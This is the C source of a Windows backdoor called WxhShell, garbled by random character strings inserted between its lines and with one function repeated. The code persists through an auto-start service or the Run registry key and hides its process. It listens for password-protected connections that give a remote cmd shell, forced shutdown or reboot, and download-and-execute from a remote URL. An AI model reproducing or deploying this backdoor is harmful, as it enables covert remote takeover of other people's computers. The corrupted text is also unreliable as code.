g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I[rR-4.F] NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r4cz?e| o]V.6Ge- if (!NtQueryInformationProcess) return 0;
XD8Cf! Qu<6X@+5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $+2QbEk&- if(!hProcess) return 0; ]
0L=+=w M8:i ] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IjOBY
&I-T CloseHandle(hProcess); VZ IY=Q>g =x?WZMO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;d>n2 if(hProcess==NULL) return 0; iN[6}V6Sm K:9AP{+ HMODULE hMod; IkmEctAU char procName[255]; k|>yFc unsigned long cbNeeded; q'trd};xR L!Tvz(_7f6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); byP< !p* )Vy0V= CloseHandle(hProcess); dHAT($QG `uLr^G=; if(strstr(procName,"services")) return 1; // 以服务启动 WnGi;AGH=1 ~u!V_su]GY return 0; // 注册表启动 ?zP
2
} t+d7{&B |d~'X%b% // 主模块 M^OYQf int StartWxhshell(LPSTR lpCmdLine) ^6{op3R_ { <!G\%C SOCKET wsl; gP|-A`y BOOL val=TRUE; ,gpEXUp\ int port=0; ;`xCfOY( struct sockaddr_in door; RIUJX{? NKEmY-f; if(wscfg.ws_autoins) Install(); wWx{#!W I%:?f{\ port=atoi(lpCmdLine); G*_]Lz(N T)<^S(57 if(port<=0) port=wscfg.ws_port; 96;5 sk07|9nU WSADATA data; O..{wdZy if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6d5J*y2 RX{}
UmU< if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; kWa5=BW2f setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,K@[+ R! door.sin_family = AF_INET; LRWM}'.s door.sin_addr.s_addr = inet_addr("127.0.0.1"); I.Catm2 door.sin_port = htons(port); z3 ^_C`(F 'aV'Am+: if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5~UW=
closesocket(wsl); ^kC!a>& return 1; .>r3ZwrE' } V=&M\58 o+8H:7,o' if(listen(wsl,2) == INVALID_SOCKET) { ~}{_/8'5 closesocket(wsl); PPFt p3C return 1; !#%>,X#+ } }8YY8|]LI Wxhshell(wsl); Ad,n+%"e WSACleanup(); H)S!%(x4 B#IUSHC return 0; &RbPN^ yFeFI@Hp 3 } 7vRp< wC%qS y' // 以NT服务方式启动 y'b*Dk{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R|$b\3 { iOZ#}" DWORD status = 0; %rhZH^2 DWORD specificError = 0xfffffff; iF
+@aA }=\?]9` serviceStatus.dwServiceType = SERVICE_WIN32; 5|r*,!CF serviceStatus.dwCurrentState = SERVICE_START_PENDING; 21Dc.t{ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "l-#v|
54 serviceStatus.dwWin32ExitCode = 0; WcT= 5G serviceStatus.dwServiceSpecificExitCode = 0; m3o -p serviceStatus.dwCheckPoint = 0; ;!VxmZ:j[ serviceStatus.dwWaitHint = 0; |.m)UFV S:i#|T." hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V'>P lb.A if (hServiceStatusHandle==0) return; ig YYkt SWhzcqp status = GetLastError(); ;ow)N <Z if (status!=NO_ERROR) PW5)") z { Iw.!*0$ serviceStatus.dwCurrentState = SERVICE_STOPPED; |cnps$fk~ serviceStatus.dwCheckPoint = 0; EqtL&UHe serviceStatus.dwWaitHint = 0; R{Zd ]HT serviceStatus.dwWin32ExitCode = status; s I\-0og serviceStatus.dwServiceSpecificExitCode = specificError; <%d!Sk4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); xk/-TXB
0 return; ;a>u7rw } &b^~0Z l"+8>Mm serviceStatus.dwCurrentState = SERVICE_RUNNING; QnP3U serviceStatus.dwCheckPoint = 0; %x{kd8>u! serviceStatus.dwWaitHint = 0; /
yBrlf if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /W*Z. } gd7r9yV _#r00Ze // 处理NT服务事件,比如:启动、停止 O9>$(`@I VOID WINAPI NTServiceHandler(DWORD fdwControl) VJTO:}Q { uY>M3h#qx switch(fdwControl) $+n6V2^K)7 { `)cH(Rj case SERVICE_CONTROL_STOP: iSoQ1#MP)2 serviceStatus.dwWin32ExitCode = 0; XKws_ serviceStatus.dwCurrentState = SERVICE_STOPPED; vOz1& |;D serviceStatus.dwCheckPoint = 0; Z|x|8 !D serviceStatus.dwWaitHint = 0; ,m]5j_< } { Bf#cBI SetServiceStatus(hServiceStatusHandle, &serviceStatus); R3a}YwJFXF } ^Y+C!I return; *{+{h;p case SERVICE_CONTROL_PAUSE: #O;JV}y serviceStatus.dwCurrentState = SERVICE_PAUSED; E X'PRNB, break; a9p:k
]{ case SERVICE_CONTROL_CONTINUE: ! #!
MTk serviceStatus.dwCurrentState = SERVICE_RUNNING; 6YNL4HE? break; 2IM31 . case SERVICE_CONTROL_INTERROGATE: YI7M%B9Lj break; Mth:V45G| }; ti%RE:* SetServiceStatus(hServiceStatusHandle, &serviceStatus); %aw.o*@: } TvDC4tm-: kD;pj3o&"2 // 标准应用程序主函数 ^Z;zA@[wt int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \B84 { ZfqN4 6MY<6t0a // 获取操作系统版本 hchG\i OsIsNt=GetOsVer(); UQ0<sI= GetModuleFileName(NULL,ExeFile,MAX_PATH); 7XyCl&Dc: X|Y(* $?D7 // 从命令行安装 K y%lu^ if(strpbrk(lpCmdLine,"iI")) Install(); 9-{=m+|b o.fqJfpj // 下载执行文件 ,I5SAd|dX if(wscfg.ws_downexe) { EV{Ys}3M if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (oX!D(OI WinExec(wscfg.ws_filenam,SW_HIDE); =(7nl#o } J@$~q}iG !*"fWahv if(!OsIsNt) { aif;h!
?y // 如果时win9x,隐藏进程并且设置为注册表启动 bz#]>RD HideProc(); 1VM2CgR a StartWxhshell(lpCmdLine); 9!uiQ } kq5X<'MM9N else P* `*^r3 if(StartFromService()) 1,;X4/* // 以服务方式启动 p+V#86(3 StartServiceCtrlDispatcher(DispatchTable); dV'EiNpf else *QiQ,~Ep // 普通方式启动 rfEWh
Vy(} StartWxhshell(lpCmdLine); -GCo`PR?b / 'qoKof return 0; 9)'f)60^ } Q7XOO3<): wTa u.Bo ]n|Jc_Y m:?"|.] =========================================== J>}J~[ap\J \/Mx|7< ,oA<xP-* esnq/ 6ABK)m-y :+PE1=v " W~ET/h (n*:LS=0 #include <stdio.h> p8!T)
?| #include <string.h> C{zp8 A(Dh #include <windows.h> [rT.k5_ #include <winsock2.h> [|KvlOvP #include <winsvc.h> ?PT>V,& #include <urlmon.h> @ps(3~?7 nlNk #pragma comment (lib, "Ws2_32.lib")
qt~=47<d #pragma comment (lib, "urlmon.lib") :HO5
T z2uL[deN'" #define MAX_USER 100 // 最大客户端连接数 Fa )QDBz) #define BUF_SOCK 200 // sock buffer *$<W"@%^J #define KEY_BUFF 255 // 输入 buffer [^5;XD:%&l }LT&BNZj #define REBOOT 0 // 重启 dg24h7|] #define SHUTDOWN 1 // 关机 %A$&9c% O9sEaVX #define DEF_PORT 5000 // 监听端口 \uJRjw+ ]A3 #define REG_LEN 16 // 注册表键长度 t+8e?=" #define SVC_LEN 80 // NT服务名长度 \c:$eF '*b]$5*p // 从dll定义API m|aK_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VIT|# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LWF,w7v[L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r\;fyeH
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :D) (3U5 xmvE*q"9] // wxhshell配置信息 HYfGu1j?X struct WSCFG { m [B#k$ int ws_port; // 监听端口 @vt.Db char ws_passstr[REG_LEN]; // 口令 9RJF int ws_autoins; // 安装标记, 1=yes 0=no h)HEexyRg char ws_regname[REG_LEN]; // 注册表键名 Kgu8E:nL char ws_svcname[REG_LEN]; // 服务名 I x%>aee char ws_svcdisp[SVC_LEN]; // 服务显示名 i3,IEN char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mqr_w!8d char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3T2]V? int ws_downexe; // 下载执行标记, 1=yes 0=no @b,Az{EH char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9 %T??- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "=djo+y pd|KIs%jl }; J ay"
yfZNL?2x // default Wxhshell configuration "o&8\KSs struct WSCFG wscfg={DEF_PORT, |vI`u[P "xuhuanlingzhe", ?;ok9Y 1, G.rz6o; "Wxhshell", <e2l@@#oy "Wxhshell", 1 ~zjsi "WxhShell Service", lT|Gkm<G "Wrsky Windows CmdShell Service", ITn% "Please Input Your Password: ", 1[!v{F%] 1, zw>L0gC "http://www.wrsky.com/wxhshell.exe", )XN_|zCk "Wxhshell.exe" 4E39]vb }; :RIz6Tz
QrYF Lh // 消息定义模块
p{g4`o char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ??,[-Oi char *msg_ws_prompt="\n\r? for help\n\r#>"; }Kp!, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f+h\RE=BGt char *msg_ws_ext="\n\rExit."; ,CfslhO{j char *msg_ws_end="\n\rQuit."; -]Z7^ char *msg_ws_boot="\n\rReboot..."; MuoE~K2 char *msg_ws_poff="\n\rShutdown..."; s@F&N9oh char *msg_ws_down="\n\rSave to "; ~L)~p%rbi ~3F'X char *msg_ws_err="\n\rErr!"; uuC ["Z char *msg_ws_ok="\n\rOK!"; Y[{:?i~9, Ie.*x'b?y char ExeFile[MAX_PATH]; AW]\n;f
int nUser = 0; D.K""*ula HANDLE handles[MAX_USER]; \MP~}t}c int OsIsNt; W[ l %QezC+n SERVICE_STATUS serviceStatus; 1<YoGm& SERVICE_STATUS_HANDLE hServiceStatusHandle; )+G"57p vMT f^V // 函数声明 Q(bOar5 int Install(void); {R}F4k int Uninstall(void); DB/~Z int DownloadFile(char *sURL, SOCKET wsh); q/#e6;x int Boot(int flag); 4q}+8F`0F void HideProc(void); @J[@Pu O int GetOsVer(void); :@(('X(". int Wxhshell(SOCKET wsl); ldA_mj{ void TalkWithClient(void *cs); hd3 int CmdShell(SOCKET sock); aM}9ZurI int StartFromService(void); +Nt4R:N int StartWxhshell(LPSTR lpCmdLine); ~:ASv>m >JpBX+]5m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); im<bo Mv VOID WINAPI NTServiceHandler( DWORD fdwControl ); v:t;Uk^Y M3tl4%j // 数据结构和表定义 a:BW*Hy{\ SERVICE_TABLE_ENTRY DispatchTable[] = )1s5vNVa { )?F&`+ {wscfg.ws_svcname, NTServiceMain}, DrJ?bG;[ {NULL, NULL} d:%b }; K./qu^+k ;TAj;Tf]H // 自我安装 |N)Ik8 int Install(void) *~#I5s\s! { my (@~' char svExeFile[MAX_PATH]; QAs)zl0 HKEY key; fAsb:P strcpy(svExeFile,ExeFile); U,Z\)+-R (RddR{mX // 如果是win9x系统,修改注册表设为自启动 lvW
T if(!OsIsNt) { ?doI6N0T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6"&cQ>$xh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d?zSwLsl RegCloseKey(key); 1}(22Q; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BEDkyz;: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yf&g\ke RegCloseKey(key); O^L]2BVC return 0; i2=- su } pY31qhoZ. } dGUP|O } 0AQazhm else { 6G8No-#y Rb6BY-/J // 如果是NT以上系统,安装为系统服务 Pb5yz-?
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l6 G6H$ if (schSCManager!=0)
LA3m, { F>fCp SC_HANDLE schService = CreateService w!F>fcm ( s<I)THC schSCManager, AO-5>r wscfg.ws_svcname, 4MgN wscfg.ws_svcdisp, 5vx 4F f SERVICE_ALL_ACCESS, msl.{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W A/dt2D| SERVICE_AUTO_START, A@A8xn% SERVICE_ERROR_NORMAL, hA7=:LG svExeFile, ;ku>_sG- NULL, \+
se%O NULL, Z&
_kq| NULL, 'RjEdLrI NULL, Lq(=0U\"P NULL wvv+~K9jq ); Z"`w>c. if (schService!=0) )lG}B U. { >h7(kj: CloseServiceHandle(schService); yE:y[k0E CloseServiceHandle(schSCManager); |E8sw a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2js/>L0 strcat(svExeFile,wscfg.ws_svcname); Ac:`xk< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .n8R%|C5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (xfc_h*xA RegCloseKey(key); *:%&z?<Fw return 0; !0;AFv`\ } Y{}
ub]i } 20c5U% CloseServiceHandle(schSCManager); @:N8V[*u } mskG2mA } m$vq%[/# x-%O1frc return 1; ;hT3N UCA } )D8op;Fn UmR)L!QT8 // 自我卸载 8eXeb|?J int Uninstall(void) XGa8tI[:X { q5f QTV HKEY key; ]#o;`5' hek+zloB+ if(!OsIsNt) { Rhc:szDU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6n9/`D! RegDeleteValue(key,wscfg.ws_regname); kV'zAF
v RegCloseKey(key); *zdD4I= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4C;;V m4~ RegDeleteValue(key,wscfg.ws_regname); Fb,*;M1' RegCloseKey(key); #}7T$Va return 0; HPtMp#`T } wd`p> } AiHU*dp6 } %]P{)*y-? else {
5226&N :8yebOs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IdmP!(u if (schSCManager!=0) ![z2]L+TB { R27'00(Z0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x6cG'3&T if (schService!=0) mP)bOAU { zyPb\/ if(DeleteService(schService)!=0) { Wl| i$L)7 CloseServiceHandle(schService); w%L4O;E]*{ CloseServiceHandle(schSCManager); 7Z>vQ f B return 0; >CvhTrPI } byM%D$R CloseServiceHandle(schService); P^te } ?`RlYu CloseServiceHandle(schSCManager); /pF8S!,z } d+DO}=] } vu(
5s j/t%7, return 1; 6u_i>z } ^q-%# DOWWG!mx // 从指定url下载文件 )Xdq+$w. int DownloadFile(char *sURL, SOCKET wsh) v!I z&M:z { )@!fLAT HRESULT hr; !oH{=.w char seps[]= "/"; }83
8F& char *token; .$\-{) char *file; 2J=`"6c char myURL[MAX_PATH]; =%` s-[5b char myFILE[MAX_PATH]; d(^8#4
Bz'.7"
":0 strcpy(myURL,sURL); 0moA mfc token=strtok(myURL,seps); l%+ &V^: while(token!=NULL) k|OM?\ { SPqJ
[F file=token; uO4
LD}A token=strtok(NULL,seps); 3eY>LWx } Zj[m .>W [ GetCurrentDirectory(MAX_PATH,myFILE); R+!U.:-yz strcat(myFILE, "\\"); zY/Oh9`=v strcat(myFILE, file); xd{.\!q. send(wsh,myFILE,strlen(myFILE),0); i$kB6B#== send(wsh,"...",3,0); WN]k+0# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d>[i*u,]/ if(hr==S_OK) b36{vcs~ return 0; 2)IM<rf'^ else #?)6^uTW return 1; A.b^?k%I )j2#5`?"j } B
W*8 #`y[75<n // 系统电源模块 dOv\] int Boot(int flag) DOyO`TJi { M4Cb(QAVP HANDLE hToken; I'xc$f_+ TOKEN_PRIVILEGES tkp; J* !_O# Ucv7`W
gr if(OsIsNt) { h] ho? K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;?u cC@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pj_W^,*/ tkp.PrivilegeCount = 1; @PM<pEve tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D2VYw<tEA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |ru!C( if(flag==REBOOT) { r(Sh if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A\?t^T return 0; T"99m^y } T[4xt,[a else { ou0TKE9
_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <Y6Vfee,& return 0; by1q"\-, } SE*;6&yL } cq>J]35 else { y)K Iz if(flag==REBOOT) { ~AD>@;8fG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YnnK]N;\x return 0; ;40Z/#FI } f\5w@nX else { G9XkimQ' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m? wQk:Y1 return 0; Q>Ct]JW& } 9 ] N{8 } qJF'KHyU{l wdj?T`4 return 1; <e#v9=}DI } 2XL^A[? z:S:[X0 // win9x进程隐藏模块 6<@mBZ void HideProc(void) ,7:GLkj { ;|K
} i;pg9Vw HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'bRf>= if ( hKernel != NULL ) G1it
3^*$ { iJdJP)!tz6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `'|6b5`2j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <Z t ]V`- FreeLibrary(hKernel); bq5ySy{8 } <
e3] pM L[PqEN\i return; )'jGf;du } M#Z^8( ] K&ca // 获取操作系统版本 H.M:
cD: int GetOsVer(void) xY)eU;* { pS-o*!\C. OSVERSIONINFO winfo; r;b `@
. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y->sJm GetVersionEx(&winfo); )0I-N) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q=e;P;u return 1; =P,mix| else q2|x$5 return 0; t ^>07#z } xuHP4$<h3 >"UXY) // 客户端句柄模块 -N/n|{+F int Wxhshell(SOCKET wsl) DNj<:Pdd) { $'}| /D SOCKET wsh; zEQQ4)mA struct sockaddr_in client; xBc$qjV DWORD myID; 2.JrLBhN %o/@0.w while(nUser<MAX_USER) xK0;saG# { [Cd#<Te3 int nSize=sizeof(client); RPMz&/k wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xgh%2;: if(wsh==INVALID_SOCKET) return 1; .+Q1h61$T p]X+#I< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D*46,>Tv if(handles[nUser]==0) ~{g/ closesocket(wsh); %;]/Z%! else rc:UG "[ nUser++; pqv l,G5 } (=rDt93J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E\Wd*,/v) \8*j"@ !H return 0; us5Zi# } } K
HNU=k %iPIgma // 关闭 socket sMAH;'`!Eu void CloseIt(SOCKET wsh) &Odrq#o?R { xP9R
d/xa| closesocket(wsh); {|%^'lS nUser--; P{s1NorKDh ExitThread(0); PRYm1Y } dC4`xUv 3#""`]9H // 客户端请求句柄 `6Q+N=k~Z void TalkWithClient(void *cs) aA*h * { 0n X5Vo 6qV1_M# SOCKET wsh=(SOCKET)cs; ~K)FuL[* char pwd[SVC_LEN]; 6t<[- char cmd[KEY_BUFF]; X,M!Tp char chr[1]; ~D/Lo$K" int i,j; $0{h Uex ZHwN3 while (nUser < MAX_USER) { 3>5gh8!- i+Ne.h if(wscfg.ws_passstr) { q}'<[Wg if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @w%kOX //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _;x` 6LM //ZeroMemory(pwd,KEY_BUFF); kSJ;kz,_ i=0; ?TDmW8G}J while(i<SVC_LEN) { O d6'bO;G taVK&ohWx // 设置超时 (0_]=r=q fd_set FdRead; jA@
uV,w struct timeval TimeOut; $rjm MSxi FD_ZERO(&FdRead); bQ?Vh@j(M FD_SET(wsh,&FdRead); g
C8deC8 TimeOut.tv_sec=8; PHez5 }T TimeOut.tv_usec=0; iN Lt4F[i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ),o=~,v: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \/wk!mWV@ S=L#8CID if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BB/c5?V pwd=chr[0]; LEg|R+6E if(chr[0]==0xd || chr[0]==0xa) { &RS)U72 pwd=0; ^}gZ+!kA break; :1UOT'_ } K^/.v<w i++; fP;I{AiN~ } 0ly6 |: ( t"|XSF // 如果是非法用户,关闭 socket Vw.4;Zy( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FAGi`X<L } n68qxD-X O#^qd0e'P! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sV%=z}n= send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5M>SrZH oY\;KPz while(1) { -G1R><8[ Uu`}| &@i ZeroMemory(cmd,KEY_BUFF); ]]u_Mdk rJp9ut'FEz // 自动支持客户端 telnet标准 o9{1_7K j=0; NP.qh1{NP while(j<KEY_BUFF) {
j)mS3#cH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #5{lOeN cmd[j]=chr[0]; Q\^BOdX^` if(chr[0]==0xa || chr[0]==0xd) { tnXW7ej ^ cmd[j]=0; wqE2n break; =xH>,-8} } ZTGsZ}{5 j++; tQMz1$ } A,#z_2~ vMXn#eR // 下载文件 sWq}/!@& if(strstr(cmd,"http://")) { -|czhO)R send(wsh,msg_ws_down,strlen(msg_ws_down),0); F9IPA% if(DownloadFile(cmd,wsh)) $reQdN=~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); EL
*l5!Iu else MA 6uJT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {!4ZRNy(k } 5tVg++I else { WK SWOSJ 3\B~`=*q/ switch(cmd[0]) { LKud' !?B2OE // 帮助 @nj`T{*. case '?': { &4p~i Z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?G5,x break; gF M~M( } &9n=!S'Md // 安装 "W}+~Sn case 'i': { h5; +5B}D if(Install()) gi/W3q3c6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5) 4?i p else 5e'**tbKH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); taSYR$VJ break; :y!{=[>M( } yAJrdY" // 卸载 %)r1?H} #% case 'r': { y$|OE%S if(Uninstall()) y= 1(o3( send(wsh,msg_ws_err,strlen(msg_ws_err),0); DC$x}1 else (jh0cy}|] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B/EGaYH break; {RH)&k&% } ;sSRv9Xb // 显示 wxhshell 所在路径 \D! I"mr case 'p': { g+k
yvI7o char svExeFile[MAX_PATH]; Ys%d strcpy(svExeFile,"\n\r"); x1`Jlzrp, strcat(svExeFile,ExeFile); j+3=&PkA.] send(wsh,svExeFile,strlen(svExeFile),0); Dd,]Y}P break; G7HvA46 } .!1E7\ // 重启 CakB`q(8 case 'b': { s.!gsCQme send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VC NQ}h[D if(Boot(REBOOT)) 3_Re>i send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'p,54<e else { `9VRT`e closesocket(wsh); wIQt
f|ZI> ExitThread(0); )9rJ]D^B } DM !B@ break; Y#Pg*C8>8 } A@ G%*\UZ // 关机 ^<e(3S: case 'd': { ~,84E [VV send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2MKB(;k if(Boot(SHUTDOWN)) 9C1\?)"D^e send(wsh,msg_ws_err,strlen(msg_ws_err),0); l9$"zEC else { !2g*=oY closesocket(wsh); Y{dj~}mM+ ExitThread(0); )!D,;,aQ } #Bas+8
@, break; U#n1N7P|$F } @yn1#E, // 获取shell ;U<rFs40 case 's': { Qnv)\M1 CmdShell(wsh); 5q.)K
f+ closesocket(wsh); zAd%dbU| ExitThread(0); )>^!X$`3 break; "[\TL#/ } ?xCWg.#l4V // 退出 -IG@v0_w case 'x': { H*EN199 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c0:`+>p2 CloseIt(wsh);
m3 Rss~l break; $[*<e~? } DqBiBH[%h // 离开 mp>Ne6\Tu case 'q': { ,A!0:+ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8}!WJ2[R closesocket(wsh); 'di(5 WSACleanup(); Eg#WR&Uq" exit(1); ksli-Px break; ^/$bd4,z } XRWy#Pj } agPTY{; } 10e~Yc (%iCP/E3 // 提示信息 Wr\A ->+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
i(n BXV{ } &\M<>>IB } Zm/I & Gmh6|Dsg return; 2lRE+_qz } IX 2 dic' =$Sd2UD // shell模块句柄 Q)\4 .d int CmdShell(SOCKET sock) 6^"Spf] { `-82u :" STARTUPINFO si; J0x)NnWJ ZeroMemory(&si,sizeof(si)); Meo.
V|1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p u6@X7W" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pK@8= + PROCESS_INFORMATION ProcessInfo;
i}r|Zo char cmdline[]="cmd"; ORo,.#< CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (<xl _L:*. return 0; xr1,D5 } TKZ[H$Z 8iUj9r_ // 自身启动模式 _T.k/a int StartFromService(void) 5}"9)LT@@w { EHX/XM typedef struct }w/6"MJ[n { 4,qhWe`/ DWORD ExitStatus; jq12,R2+) DWORD PebBaseAddress; JY6^pC}* DWORD AffinityMask; 78/,rp#'_ DWORD BasePriority; 0}I aWd^4 ULONG UniqueProcessId; O
p,_d^ ULONG InheritedFromUniqueProcessId; |tuh/e@dx } PROCESS_BASIC_INFORMATION; q!\4|KF~ bGe@yXId5 PROCNTQSIP NtQueryInformationProcess; .V`N^H:l 4
oZm0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MI\35~JAN static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {#4F}@Q fy|$A@f
HANDLE hProcess; vKmV<*K PROCESS_BASIC_INFORMATION pbi; %oHK=],|1 ^K'@W HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yw+LT,AQ. if(NULL == hInst ) return 0; )>U7+ Me GEUC<bL+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nb}rfd. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -|_MC^) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {>n\B~*,"C IcP\#zhEv if (!NtQueryInformationProcess) return 0; ^n&_JQIXb B'8/`0^n5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5l4YYwd>v if(!hProcess) return 0; jPa"|9A V3<H8pL if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CWw#0 b ]u01T- CloseHandle(hProcess); %+HZ4M+hV yU'<b.] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <S68UN(Ke if(hProcess==NULL) return 0; 0Tq=nYZA 2$s2u; HMODULE hMod; =C 7 WQ char procName[255]; LeaJ).Maw unsigned long cbNeeded; FDCc?>,o On-zbE if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _ UGR+0'Q\ jiqE^j3; CloseHandle(hProcess); H?_>wQj& sFV&e->AN\ if(strstr(procName,"services")) return 1; // 以服务启动 xTg=oq h1 pEC return 0; // 注册表启动 